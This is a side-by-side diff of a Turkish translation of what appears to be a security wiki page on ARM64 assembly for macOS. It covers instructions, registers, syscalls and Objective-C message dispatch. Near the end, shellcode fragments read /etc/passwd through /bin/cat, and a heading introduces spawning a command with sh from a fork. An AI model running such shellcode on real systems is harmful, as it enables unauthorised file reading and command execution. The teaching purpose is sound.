- Örnek: `stp x0, x1, [sp]` — Bu, `x0` ve `x1`'i sırasıyla `sp` ve `sp + 8` konumlarına saklar. - Örnek: `stp x0, x1, [sp]` — Bu, `x0` ve `x1`'i `sp` ve `sp + 8` konumlarındaki bellek alanlarına saklar.
- `stp x0, x1, [sp, #16]!` — Bu, `x0` ve `x1`'i `sp+16` ve `sp + 24` konumlarına saklar ve `sp`'yi `sp+16` ile günceller. - `stp x0, x1, [sp, #16]!` — Bu, `x0` ve `x1`'i `sp+16` ve `sp + 24` konumlarındaki bellek alanlarına saklar ve `sp`'yi `sp+16` ile günceller.
- **`add`**: İki kaydın değerlerini toplar ve sonucu bir kayıtta saklar. - **`add`**: İki kaydın değerlerini toplar ve sonucu bir kayıtta saklar.
- Söz dizimi: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX] - Söz dizimi: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
- Xn1 -> Hedef - Xn1 -> Hedef
@ -130,7 +130,7 @@ ARM64 talimatları genellikle **`opcode dst, src1, src2`** formatına sahiptir,
- Xn3 | #imm -> Operatör 2 (kayıt veya anlık) - Xn3 | #imm -> Operatör 2 (kayıt veya anlık)
- \[shift #N | RRX] -> Bir kaydırma gerçekleştir veya RRX çağır - \[shift #N | RRX] -> Bir kaydırma gerçekleştir veya RRX çağır
- Örnek: `add x0, x1, x2` — Bu, `x1` ve `x2`'deki değerleri toplar ve sonucu `x0`'da saklar. - Örnek: `add x0, x1, x2` — Bu, `x1` ve `x2`'deki değerleri toplar ve sonucu `x0`'da saklar.
- `add x5, x5, #1, lsl #12` — Bu, 4096'ya eşittir (1, 12 kez kaydırıcı) -> 1 0000 0000 0000 0000 - `add x5, x5, #1, lsl #12` — Bu, 4096'ya eşittir (1, 12 kez kaydırılmış) -> 1 0000 0000 0000 0000
- **`adds`** Bu, bir `add` işlemi gerçekleştirir ve bayrakları günceller. - **`adds`** Bu, bir `add` işlemi gerçekleştirir ve bayrakları günceller.
- **`sub`**: İki kaydın değerlerini çıkarır ve sonucu bir kayıtta saklar. - **`sub`**: İki kaydın değerlerini çıkarır ve sonucu bir kayıtta saklar.
- **`add`** **söz dizimini** kontrol edin. - **`add`** **söz dizimini** kontrol edin.
@ -141,39 +141,39 @@ ARM64 talimatları genellikle **`opcode dst, src1, src2`** formatına sahiptir,
- **`div`**: Bir kaydın değerini diğerine böler ve sonucu bir kayıtta saklar. - **`div`**: Bir kaydın değerini diğerine böler ve sonucu bir kayıtta saklar.
- Örnek: `div x0, x1, x2` — Bu, `x1`'deki değeri `x2`'ye böler ve sonucu `x0`'da saklar. - Örnek: `div x0, x1, x2` — Bu, `x1`'deki değeri `x2`'ye böler ve sonucu `x0`'da saklar.
- **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**: - **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
- **Mantıksal kaydırma sola**: Sonundan 0 ekleyerek diğer bitleri ileri taşır (n kez 2 ile çarpma). - **Mantıksal kaydırma sola**: Sonundan 0 ekleyerek diğer bitleri ileri taşır (n kat 2 ile çarpma).
- **Mantıksal kaydırma sağa**: Başlangıcına 1 ekleyerek diğer bitleri geri taşır (imzasız olarak n kez 2 ile bölme). - **Mantıksal kaydırma sağa**: Başlangıcına 1 ekleyerek diğer bitleri geri taşır (imzasız n kat 2 ile bölme).
- **Aritmetik kaydırma sağa**: **`lsr`** gibi, ancak en anlamlı bit 1 ise 0 eklemek yerine, 1 eklenir (imzalı olarak n kez 2 ile bölme). - **Aritmetik kaydırma sağa**: **`lsr`** gibi, ancak en anlamlı bit 1 ise 0 eklemek yerine **1 eklenir** (imzalı n kat 2 ile bölme).
- **Sağa döndürme**: **`lsr`** gibi, ancak sağdan çıkarılan her şey sola eklenir. - **Sağa döndürme**: **`lsr`** gibi, ancak sağdan çıkarılan her şey sola eklenir.
- **Genişletme ile sağa döndürme**: **`ror`** gibi, ancak taşıma bayrağı "en anlamlı bit" olarak kullanılır. Yani taşıma bayrağı bit 31'e taşınır ve çıkarılan bit taşıma bayrağına eklenir. - **Genişletme ile sağa döndürme**: **`ror`** gibi, ancak taşıma bayrağı "en anlamlı bit" olarak kullanılır. Yani taşıma bayrağı bit 31'e taşınır ve çıkarılan bit taşıma bayrağına eklenir.
- **`bfm`**: **Bit Alanı Taşı**, bu işlemler **bir değerden `0...n` bitlerini kopyalar** ve bunları **`m..m+n`** pozisyonlarına yerleştirir. **`#s`**, **en soldaki bit** pozisyonunu ve **`#r`** **sağa döndürme miktarını** belirtir. - **`bfm`**: **Bit Alanı Taşıma**, bu işlemler bir değerden `0...n` bitlerini kopyalar ve bunları **`m..m+n`** konumlarına yerleştirir. **`#s`**, **en soldaki bit** konumunu ve **`#r`** ise **sağa döndürme miktarını** belirtir.
- Bit alanı taşıma: `BFM Xd, Xn, #r` - Bit alanı taşıma: `BFM Xd, Xn, #r`
- İmzalı bit alanı taşıma: `SBFM Xd, Xn, #r, #s` - İmzalı bit alanı taşıma: `SBFM Xd, Xn, #r, #s`
- İmzalı olmayan bit alanı taşıma: `UBFM Xd, Xn, #r, #s` - İmzalı olmayan bit alanı taşıma: `UBFM Xd, Xn, #r, #s`
- **Bit alanı Çıkarma ve Ekleme:** Bir kayıttan bir bit alanını kopyalar ve başka bir kayda kopyalar. - **Bit alanı Çıkarma ve Ekleme:** Bir kayıttan bir bit alanını kopyalar ve başka bir kayda kopyalar.
- **`BFI X1, X2, #3, #4`** X1'in 3. bitinden X2'den 4 bit ekle. - **`BFI X1, X2, #3, #4`** X2'den X1'in 3. bitinden 4 bit ekle.
- **`BFXIL X1, X2, #3, #4`** X2'nin 3. bitinden 4 bit çıkar ve X1'e kopyala. - **`BFXIL X1, X2, #3, #4`** X2'nin 3. bitinden dört bit çıkar ve X1'e kopyala.
- **`SBFIZ X1, X2, #3, #4`** X2'den 4 bit işaret uzatır ve X1'e 3. bit pozisyonundan ekler, sağdaki bitleri sıfırlar. - **`SBFIZ X1, X2, #3, #4`** X2'den 4 biti imza uzatır ve X1'e 3. bit konumundan ekler, sağdaki bitleri sıfırlar.
- **`SBFX X1, X2, #3, #4`** X2'den 3. bitten başlayarak 4 bit çıkarır, işaret uzatır ve sonucu X1'e yerleştirir. - **`SBFX X1, X2, #3, #4`** X2'den 3. bitten başlayarak 4 bit çıkarır, imza uzatır ve sonucu X1'e yerleştirir.
- **`UBFIZ X1, X2, #3, #4`** X2'den 4 bit sıfır uzatır ve X1'e 3. bit pozisyonundan ekler, sağdaki bitleri sıfırlar. - **`UBFIZ X1, X2, #3, #4`** X2'den 4 biti sıfır uzatır ve X1'e 3. bit konumundan ekler, sağdaki bitleri sıfırlar.
- **`UBFX X1, X2, #3, #4`** X2'den 3. bitten başlayarak 4 bit çıkarır ve sıfır uzatılmış sonucu X1'e yerleştirir. - **`UBFX X1, X2, #3, #4`** X2'den 3. bitten başlayarak 4 bit çıkarır ve sıfır uzatılmış sonucu X1'e yerleştirir.
- **İmza Uzatma X'e:** Bir değerin imzasını (veya imzasız versiyonda sadece 0 ekler) uzatır, böylece onunla işlemler gerçekleştirebiliriz: - **İmza Uzatma X'e:** Bir değerin imzasını uzatır (veya imzasız versiyonda sadece 0 ekler) böylece onunla işlemler gerçekleştirebiliriz:
- **`SXTB X1, W2`** W2'den **X1'e** bir baytın imzasını uzatır (`W2`, `X2`'nin yarısıdır) 64bit doldurmak için. - **`SXTB X1, W2`** W2'den **X1'e** bir baytın imzasını uzatır (`W2`, `X2`'nin yarısıdır) 64bit doldurmak için.
- **`SXTH X1, W2`** W2'den **X1'e** 16 bitlik bir sayının imzasını uzatır 64bit doldurmak için. - **`SXTH X1, W2`** W2'den **X1'e** 16bit bir sayının imzasını uzatır 64bit doldurmak için.
- **`SXTW X1, W2`** W2'den **X1'e** bir baytın imzasını uzatır 64bit doldurmak için. - **`SXTW X1, W2`** W2'den **X1'e** bir baytın imzasını uzatır 64bit doldurmak için.
- **`UXTB X1, W2`** W2'den **X1'e** 0 ekler (imzasız) 64bit doldurmak için. - **`UXTB X1, W2`** W2'den **X1'e** 0 ekler (imzasız) 64bit doldurmak için.
- **`extr`:** Belirtilen **bir çift kayıttan** bitleri çıkarır. - **`extr`:** Belirtilen **kayıt çiftlerinden** bitleri çıkarır.
- Örnek: `EXTR W3, W2, W1, #3` Bu, **W1+W2'yi birleştirir** ve **W2'nin 3. bitinden W1'in 3. bitine kadar** alır ve W3'e saklar. - Örnek: `EXTR W3, W2, W1, #3` Bu, **W1+W2'yi birleştirir** ve **W2'nin 3. bitinden W1'in 3. bitine kadar** alır ve W3'e saklar.
- **`cmp`**: İki kaydı **karşılaştırır** ve durum bayraklarını ayarlar. Bu, **`subs`**'ın bir takma adıdır ve hedef kaydı sıfır kaydına ayarlar. `m == n` olup olmadığını bilmek için yararlıdır. - **`cmp`**: İki kaydı **karşılaştırır** ve durum bayraklarını ayarlar. Bu, **`subs`**'ın bir takma adıdır ve hedef kaydı sıfır kaydına ayarlar. `m == n` olup olmadığını bilmek için yararlıdır.
- **`subs`** ile aynı söz dizimini destekler. - **`subs`** ile aynı söz dizimini destekler.
- Örnek: `cmp x0, x1` — Bu, `x0` ve `x1`'deki değerleri karşılaştırır ve durum bayraklarını buna göre ayarlar. - Örnek: `cmp x0, x1` — Bu, `x0` ve `x1`'deki değerleri karşılaştırır ve durum bayraklarını buna göre ayarlar.
- **`cmn`**: Negatif **operandı karşılaştırır**. Bu durumda, bu bir **`adds`** takma adıdır ve aynı söz dizimini destekler. `m == -n` olup olmadığını bilmek için yararlıdır. - **`cmn`**: Negatif **operandı karşılaştırır**. Bu durumda, **`adds`**'ın bir takma adıdır ve aynı söz dizimini destekler. `m == -n` olup olmadığını bilmek için yararlıdır.
- **`ccmp`**: Koşullu karşılaştırma, bu, yalnızca önceki bir karşılaştırma doğruysa gerçekleştirilecek bir karşılaştırmadır ve özellikle nzcv bitlerini ayarlayacaktır. - **`ccmp`**: Koşullu karşılaştırma, yalnızca önceki bir karşılaştırma doğruysa gerçekleştirilecek bir karşılaştırmadır ve özellikle nzcv bitlerini ayarlayacaktır.
- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> eğer x1 != x2 ve x3 < x4 ise, func'a atla. - `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> Eğer x1 != x2 ve x3 < x4 ise, func'a atla.
- Bu, **`ccmp`**'nin yalnızca **önceki `cmp` bir `NE` ise** yürütüleceği anlamına gelir, eğer değilse `nzcv` bitleri 0 olarak ayarlanır (bu da `blt` karşılaştırmasını tatmin etmez). - Bu, **`ccmp`**'nin yalnızca önceki **`cmp`'nin `NE`** olduğu durumda yürütüleceği anlamına gelir, eğer değilse `nzcv` bitleri 0 olarak ayarlanır (bu da `blt` karşılaştırmasını tatmin etmez).
- Bu, `ccmn` olarak da kullanılabilir (aynı ancak negatif, `cmp` ile `cmn` gibi). - Bu, `ccmn` olarak da kullanılabilir (aynı ancak negatif, `cmp` ile `cmn` gibi).
- **`tst`**: Karşılaştırmanın değerlerinden herhangi birinin 1 olup olmadığını kontrol eder (sonucu hiçbir yere saklamadan ANDS gibi çalışır). Bir kaydı bir değerle kontrol etmek ve kaydın belirtilen değerindeki bitlerden herhangi birinin 1 olup olmadığını kontrol etmek için yararlıdır. - **`tst`**: Karşılaştırmanın değerlerinden herhangi birinin 1 olup olmadığını kontrol eder (sonucu hiçbir yere saklamadan ANDS gibi çalışır). Bir kaydı bir değerle kontrol etmek ve kaydın belirtilen değerindeki bitlerden herhangi birinin 1 olup olmadığını kontrol etmek için yararlıdır.
- Örnek: `tst X1, #7` X1'in son 3 bitinin 1 olup olmadığını kontrol et. - Örnek: `tst X1, #7` X1'in son 3 bitinden herhangi birinin 1 olup olmadığını kontrol et.
- **`teq`**: Sonucu göz ardı ederek XOR işlemi. - **`teq`**: Sonucu göz ardı ederek XOR işlemi.
- **`b`**: Koşulsuz Dal. - **`b`**: Koşulsuz Dal.
- Örnek: `b myFunction` - Örnek: `b myFunction`
@ -181,9 +181,9 @@ ARM64 talimatları genellikle **`opcode dst, src1, src2`** formatına sahiptir,
- **`bl`**: **Bağlantı** ile dal, bir **alt programı** **çağırmak** için kullanılır. **Dönüş adresini `x30`'da** saklar. - **`bl`**: **Bağlantı** ile dal, bir **alt programı** **çağırmak** için kullanılır. **Dönüş adresini `x30`'da** saklar.
- Örnek: `bl myFunction` — Bu, `myFunction` fonksiyonunu çağırır ve dönüş adresini `x30`'da saklar. - Örnek: `bl myFunction` — Bu, `myFunction` fonksiyonunu çağırır ve dönüş adresini `x30`'da saklar.
- Not: Bu, dönüş adresi ile bağlantı kaydını doldurmaz (geri dönmesi gereken alt program çağrıları için uygun değildir). - Not: Bu, dönüş adresi ile bağlantı kaydını doldurmaz (geri dönmesi gereken alt program çağrıları için uygun değildir).
- **`blr`**: **Bağlantı** ile Kayıta Dal, hedefin **bir kayıtta** **belirtilmiş** olduğu bir **alt programı** **çağırmak** için kullanılır. Dönüş adresini `x30`'da saklar. - **`blr`**: **Bağlantı** ile Kayıta Dal, hedefin **bir kayıtta** **belirtilmiş** olduğu bir **alt programı** **çağırmak** için kullanılır. Dönüş adresini `x30`'da saklar. (Bu
- Örnek: `blr x1` — Bu, `x1`'de bulunan adresi içeren fonksiyonu çağırır ve dönüş adresini `x30`'da saklar. - Örnek: `blr x1` — Bu, adresi `x1`'de bulunan fonksiyonu çağırır ve dönüş adresini `x30`'da saklar.
- **`ret`**: **Alt programdan** **dön**, genellikle **`x30`**'daki adresi kullanarak. - **`ret`**: **Alt programdan** **dön**, genellikle **`x30`**'deki adresi kullanarak.
- Örnek: `ret` — Bu, mevcut alt programdan dönüş yapar ve dönüş adresini `x30`'da kullanır. - Örnek: `ret` — Bu, mevcut alt programdan dönüş yapar ve dönüş adresini `x30`'da kullanır.
- **`b.<cond>`**: Koşullu dallar. - **`b.<cond>`**: Koşullu dallar.
- **`b.eq`**: **Eşitse dal**, önceki `cmp` talimatına dayanarak. - **`b.eq`**: **Eşitse dal**, önceki `cmp` talimatına dayanarak.
@ -210,9 +210,9 @@ ARM64 talimatları genellikle **`opcode dst, src1, src2`** formatına sahiptir,
- `csetm Xd, Xn, Xm, cond` -> Eğer doğruysa, Xd = \<tüm 1>, eğer yanlışsa, Xd = 0. - `csetm Xd, Xn, Xm, cond` -> Eğer doğruysa, Xd = \<tüm 1>, eğer yanlışsa, Xd = 0.
- **`adrp`**: Bir sembolün **sayfa adresini** hesapla ve bir kayıtta sakla. - **`adrp`**: Bir sembolün **sayfa adresini** hesapla ve bir kayıtta sakla.
- Örnek: `adrp x0, symbol` — Bu, `symbol`'ün sayfa adresini hesaplar ve `x0`'da saklar. - Örnek: `adrp x0, symbol` — Bu, `symbol`'ün sayfa adresini hesaplar ve `x0`'da saklar.
- **`ldrsw`**: Bellekten **imzalı 32-bit** bir değeri **yükle** ve **64 bit'e işaret uzat**. - **`ldrsw`**: Bellekten **imzalı 32-bit** bir değeri yükle ve **64 bit'e imza uzat**.
- Örnek: `ldrsw x0, [x1]` — Bu, `x1` tarafından işaret edilen bellek konumundan imzalı 32-bit bir değeri yükler, 64 bit'e işaret uzatır ve `x0`'da saklar. - Örnek: `ldrsw x0, [x1]` — Bu, `x1` tarafından işaret edilen bellek konumundan imzalı 32-bit bir değeri yükler, 64 bit'e imza uzatır ve `x0`'da saklar.
- **`stur`**: Bir kayıt değerini bir bellek konumuna **sakla**, başka bir kayıttan bir offset kullanarak. - **`stur`**: Bir kayıt değerini bir bellek konumuna sakla, başka bir kayıttan offset kullanarak.
- Örnek: `stur x0, [x1, #4]` — Bu, `x0`'deki değeri `x1`'deki adresten 4 byte daha büyük olan bellek adresine saklar. - Örnek: `stur x0, [x1, #4]` — Bu, `x0`'deki değeri `x1`'deki adresten 4 byte daha büyük olan bellek adresine saklar.
- **`svc`** : Bir **sistem çağrısı** yap. "Denetçi Çağrısı" anlamına gelir. İşlemci bu talimatı yürüttüğünde, **kullanıcı modundan çekirdek moduna** geçer ve **çekirdeğin sistem çağrı işleme** kodunun bulunduğu bellek konumuna atlar. - **`svc`** : Bir **sistem çağrısı** yap. "Denetçi Çağrısı" anlamına gelir. İşlemci bu talimatı yürüttüğünde, **kullanıcı modundan çekirdek moduna** geçer ve **çekirdeğin sistem çağrı işleme** kodunun bulunduğu bellek konumuna atlar.
@ -231,7 +231,7 @@ svc 0 ; Sistem çağrısını yap.
stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer
``` ```
2. **Yeni çerçeve işaretçisini ayarlayın**: `mov x29, sp` (mevcut fonksiyon için yeni çerçeve işaretçisini ayarlar) 2. **Yeni çerçeve işaretçisini ayarlayın**: `mov x29, sp` (mevcut fonksiyon için yeni çerçeve işaretçisini ayarlar)
3. **Yerel değişkenler için yığında alan ayırın** (gerekirse): `sub sp, sp, <size>` (burada `<size>` gerekli byte sayısıdır) 3. **Yerel değişkenler için yığında alan ayırın** (gerekirse): `sub sp, sp, <size>` (burada `<size>` gereken byte sayısıdır)
### **Fonksiyon Epilogü** ### **Fonksiyon Epilogü**
@ -246,7 +246,7 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th
Armv8-A, 32-bit programların çalıştırılmasını destekler. **AArch32**, **`A32`** ve **`T32`** olmak üzere **iki talimat setinde** çalışabilir ve bunlar arasında **`interworking`** ile geçiş yapabilir.\ Armv8-A, 32-bit programların çalıştırılmasını destekler. **AArch32**, **`A32`** ve **`T32`** olmak üzere **iki talimat setinde** çalışabilir ve bunlar arasında **`interworking`** ile geçiş yapabilir.\
**Yetkili** 64-bit programlar, daha düşük yetkili 32-bit programların **çalıştırılmasını** sağlamak için bir istisna seviyesi transferi gerçekleştirerek programları planlayabilir.\ **Yetkili** 64-bit programlar, daha düşük yetkili 32-bit programların **çalıştırılmasını** sağlamak için bir istisna seviyesi transferi gerçekleştirerek programları planlayabilir.\
64-bit'ten 32-bit'e geçişin, istisna seviyesinin düşmesiyle gerçekleştiğini unutmayın (örneğin, EL1'deki bir 64-bit programın EL0'daki bir programı tetiklemesi). Bu, `AArch32` işlem süreci işleme alınmaya hazır olduğunda **`SPSR_ELx`** özel kaydının **bit 4'ünü 1** olarak ayarlayarak yapılır ve `SPSR_ELx`'in geri kalanı **`AArch32`** programlarının CPSR'sini saklar. Ardından, yetkili süreç **`ERET`** talimatını çağırır, böylece işlemci **`AArch32`**'ye geçer ve CPSR\*\*'ye bağlı olarak A32 veya T32'ye girer.\*\* 64-bit'ten 32-bit'e geçişin, istisna seviyesinin düşmesiyle gerçekleştiğini unutmayın (örneğin, EL1'deki bir 64-bit programın EL0'daki bir programı tetiklemesi). Bu, `AArch32` işlemci iş parçacığı çalıştırılmaya hazır olduğunda **`SPSR_ELx`** özel kaydının **bit 4'ünü 1** olarak ayarlayarak yapılır ve `SPSR_ELx`'in geri kalanı **`AArch32`** programlarının CPSR'sini saklar. Ardından, yetkili işlem **`ERET`** talimatını çağırır, böylece işlemci **`AArch32`**'ye geçer ve CPSR\*\*'ye bağlı olarak A32 veya T32'ye girer.\*\*
**`interworking`**, CPSR'nin J ve T bitleri kullanılarak gerçekleşir. `J=0` ve `T=0`, **`A32`** anlamına gelir; `J=0` ve `T=1`, **T32** anlamına gelir. Bu, temelde talimat setinin T32 olduğunu belirtmek için **en düşük bitin 1** olarak ayarlanması anlamına gelir.\ **`interworking`**, CPSR'nin J ve T bitleri kullanılarak gerçekleşir. `J=0` ve `T=0`, **`A32`** anlamına gelir; `J=0` ve `T=1`, **T32** anlamına gelir. Bu, temelde talimat setinin T32 olduğunu belirtmek için **en düşük bitin 1** olarak ayarlanması anlamına gelir.\
Bu, **interworking dal talimatları** sırasında ayarlanır, ancak PC hedef kayıt olarak ayarlandığında diğer talimatlarla da doğrudan ayarlanabilir. Örnek: Bu, **interworking dal talimatları** sırasında ayarlanır, ancak PC hedef kayıt olarak ayarlandığında diğer talimatlarla da doğrudan ayarlanabilir. Örnek:
@ -272,12 +272,12 @@ mov r0, #8
- **`r13`**: Yığın İşaretçisi - **`r13`**: Yığın İşaretçisi
- **`r14`**: Bağlantı Kaydı - **`r14`**: Bağlantı Kaydı
Ayrıca, kayıtlar **`banked registries`** içinde yedeklenir. Bu, kayıt değerlerini depolayan yerlerdir ve her seferinde kayıtları manuel olarak kaydetme ve geri yükleme ihtiyacını ortadan kaldırarak **hızlı bağlam değiştirme** işlemlerini gerçekleştirmeyi sağlar.\ Ayrıca, kayıtlar **`banked registries`** içinde yedeklenir. Bu, kayıt değerlerini depolayan yerlerdir ve her seferinde kayıtları manuel olarak kaydetme ve geri yükleme ihtiyacını ortadan kaldırarak **hızlı bağlam değiştirme** işlemlerini sağlar.\
Bu, istisna alındığında işlemci modunun **`CPSR`**'den **`SPSR`**'ye işlemci durumunu **kaydetmek** ile yapılır. İstisna geri döndüğünde, **`CPSR`** **`SPSR`**'den geri yüklenir. Bu, istisna alındığında işlemci modunun **`CPSR`**'sinden **`SPSR`**'ye işlemci durumunun **kaydedilmesiyle** yapılır. İstisna geri döndüğünde, **`CPSR`** **`SPSR`**'den geri yüklenir.
### CPSR - Mevcut Program Durum Kaydı ### CPSR - Mevcut Program Durum Kaydı
AArch32'de CPSR, AArch64'teki **`PSTATE`** ile benzer şekilde çalışır ve ayrıca bir istisna alındığında daha sonra yürütmeyi geri yüklemek için **`SPSR_ELx`**'de saklanır: AArch32'de CPSR, AArch64'teki **`PSTATE`** ile benzer şekilde çalışır ve daha sonra yürütmeyi geri yüklemek için **`SPSR_ELx`**'de de saklanır:
<figure><img src="../../../images/image (1197).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (1197).png" alt=""><figcaption></figcaption></figure>
@ -290,7 +290,7 @@ Alanlar bazı gruplara ayrılmıştır:
- **`N`**, **`Z`**, **`C`**, **`V`** bayrakları (AArch64'teki gibi) - **`N`**, **`Z`**, **`C`**, **`V`** bayrakları (AArch64'teki gibi)
- **`Q`** bayrağı: Özel bir doygun aritmetik talimatın yürütülmesi sırasında **tam sayı doygunluğu meydana geldiğinde** 1 olarak ayarlanır. **`1`** olarak ayarlandığında, manuel olarak 0 olarak ayarlanana kadar bu değeri korur. Ayrıca, değerini dolaylı olarak kontrol eden herhangi bir talimat yoktur, bu manuel olarak okunmalıdır. - **`Q`** bayrağı: Özel bir doygun aritmetik talimatın yürütülmesi sırasında **tam sayı doygunluğu meydana geldiğinde** 1 olarak ayarlanır. **`1`** olarak ayarlandığında, manuel olarak 0 olarak ayarlanana kadar bu değeri korur. Ayrıca, değerini dolaylı olarak kontrol eden herhangi bir talimat yoktur, bu manuel olarak okunmalıdır.
- **`GE`** (Büyüktür veya eşittir) Bayrakları: SIMD (Tek Talimat, Çoklu Veri) işlemlerinde kullanılır, örneğin "paralel toplama" ve "paralel çıkarma". Bu işlemler, tek bir talimatla birden fazla veri noktasını işleme imkanı tanır. - **`GE`** (Büyüktür veya eşittir) Bayrakları: SIMD (Tek Talimat, Çoklu Veri) işlemlerinde kullanılır, örneğin "paralel toplama" ve "paralel çıkarma". Bu işlemler, tek bir talimatta birden fazla veri noktasını işleme imkanı tanır.
Örneğin, **`UADD8`** talimatı **dört çift baytı** (iki 32-bit operandından) paralel olarak toplar ve sonuçları 32-bit bir kayıtta saklar. Daha sonra bu sonuçlara dayanarak **`APSR`**'deki `GE` bayraklarını **ayarlar**. Her GE bayrağı, o bayt çiftinin toplamının **taşma** yapıp yapmadığını gösterir. Örneğin, **`UADD8`** talimatı **dört çift baytı** (iki 32-bit operandından) paralel olarak toplar ve sonuçları 32-bit bir kayıtta saklar. Daha sonra bu sonuçlara dayanarak **`APSR`**'deki `GE` bayraklarını **ayarlar**. Her GE bayrağı, o bayt çiftinin toplamının **taşma** yapıp yapmadığını gösterir.
@ -301,7 +301,7 @@ Alanlar bazı gruplara ayrılmıştır:
- **`J`** ve **`T`** bitleri: **`J`** 0 olmalıdır ve eğer **`T`** 0 ise A32 talimat seti kullanılır, 1 ise T32 kullanılır. - **`J`** ve **`T`** bitleri: **`J`** 0 olmalıdır ve eğer **`T`** 0 ise A32 talimat seti kullanılır, 1 ise T32 kullanılır.
- **IT Blok Durum Kaydı** (`ITSTATE`): Bunlar 10-15 ve 25-26 arasındaki bitlerdir. **`IT`** ile başlayan bir grup içindeki talimatlar için koşulları saklar. - **IT Blok Durum Kaydı** (`ITSTATE`): Bunlar 10-15 ve 25-26 arasındaki bitlerdir. **`IT`** ile başlayan bir grup içindeki talimatlar için koşulları saklar.
- **`E`** biti: **endianness**'i gösterir. - **`E`** biti: **endianness**'i gösterir.
- **Mod ve İstisna Maske Bitleri** (0-4): Mevcut yürütme durumunu belirler. **5.** bit, programın 32bit (1) veya 64bit (0) olarak çalışıp çalışmadığını gösterir. Diğer 4 bit, **şu anda kullanılan istisna modunu** temsil eder (bir istisna meydana geldiğinde ve işlenirken). Ayarlanan sayı, bu işlenirken başka bir istisna tetiklendiğinde **mevcut önceliği** gösterir. - **Mod ve İstisna Maske Bitleri** (0-4): Mevcut yürütme durumunu belirler. **5.** bit, programın 32bit (1) veya 64bit (0) olarak çalışıp çalışmadığını gösterir. Diğer 4 bit, **şu anda kullanılan istisna modunu** temsil eder (bir istisna meydana geldiğinde ve işlenirken). Ayarlanan sayı, başka bir istisna tetiklendiğinde mevcut önceliği **gösterir**.
<figure><img src="../../../images/image (1200).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (1200).png" alt=""><figcaption></figcaption></figure>
@ -317,7 +317,7 @@ Alanlar bazı gruplara ayrılmıştır:
`mach_trap_table`'ı [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) dosyasında ve prototipleri [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) dosyasında kontrol edin. Mach tuşlarının maksimum sayısı `MACH_TRAP_TABLE_COUNT` = 128'dir. Mach tuşları **x16 < 0** olacaktır, bu nedenle önceki listedeki numaraları **eksi** ile çağırmalısınız: **`_kernelrpc_mach_vm_allocate_trap`** **`-10`**'dur. `mach_trap_table`'ı [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) dosyasında ve prototipleri [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) dosyasında kontrol edin. Mach tuşlarının maksimum sayısı `MACH_TRAP_TABLE_COUNT` = 128'dir. Mach tuşları **x16 < 0** olacaktır, bu nedenle önceki listedeki numaraları **eksi** ile çağırmalısınız: **`_kernelrpc_mach_vm_allocate_trap`** **`-10`**'dur.
Bu (ve BSD) syscalls'ı çağırmayı bulmak için bir disassembler'da **`libsystem_kernel.dylib`** dosyasını da kontrol edebilirsiniz: Bu (ve BSD) syscalls'ı çağırmayı bulmak için bir ayrıştırıcıda **`libsystem_kernel.dylib`** dosyasını da kontrol edebilirsiniz:
```bash ```bash
# macOS # macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
@ -378,18 +378,18 @@ Bu fonksiyon çağrıldığında, belirtilen örneğin çağrılan yöntemini bu
- İyimser önbellek araması yapın: - İyimser önbellek araması yapın:
- Başarılıysa, tamam - Başarılıysa, tamam
- runtimeLock (okuma) edin - runtimeLock (okuma) edin
- Eğer (realize && !cls->realized) sınıfı realize et - Eğer (realize && !cls->realized) sınıfı gerçekleştirin
- Eğer (initialize && !cls->initialized) sınıfı initialize et - Eğer (initialize && !cls->initialized) sınıfı başlatın
- Sınıfın kendi önbelleğini dene: - Sınıfın kendi önbelleğini deneyin:
- Başarılıysa, tamam - Başarılıysa, tamam
- Sınıf yöntem listesini dene: - Sınıf yöntem listesini deneyin:
- Bulunduysa, önbelleği doldur ve tamam - Bulunduysa, önbelleği doldurun ve tamam
- Üst sınıf önbelleğini dene: - Üst sınıf önbelleğini deneyin:
- Başarılıysa, tamam - Başarılıysa, tamam
- Üst sınıf yöntem listesini dene: - Üst sınıf yöntem listesini deneyin:
- Bulunduysa, önbelleği doldur ve tamam - Bulunduysa, önbelleği doldurun ve tamam
- Eğer (resolver) yöntem çözücüsünü dene ve sınıf aramasından tekrar et - Eğer (resolver) yöntem çözücüsünü deneyin ve sınıf aramasından tekrar edin
- Eğer hala buradaysa (= diğer her şey başarısız oldu) yönlendiriciyi dene - Eğer hala buradaysa (= diğer her şey başarısız oldu) yönlendiriciyi deneyin
### Shellcodes ### Shellcodes
@ -565,7 +565,7 @@ cat_path: .asciz "/bin/cat"
.align 2 .align 2
passwd_path: .asciz "/etc/passwd" passwd_path: .asciz "/etc/passwd"
``` ```
#### Bir fork'tan sh ile komut çağırın, böylece ana işlem öldürülmez. #### Fork'tan sh ile komut çağırın, böylece ana işlem öldürülmez.
```armasm ```armasm
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text .section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main .global _main ; Declare a global symbol _main

View File

@ -4,7 +4,7 @@
## **x64'e Giriş** ## **x64'e Giriş**
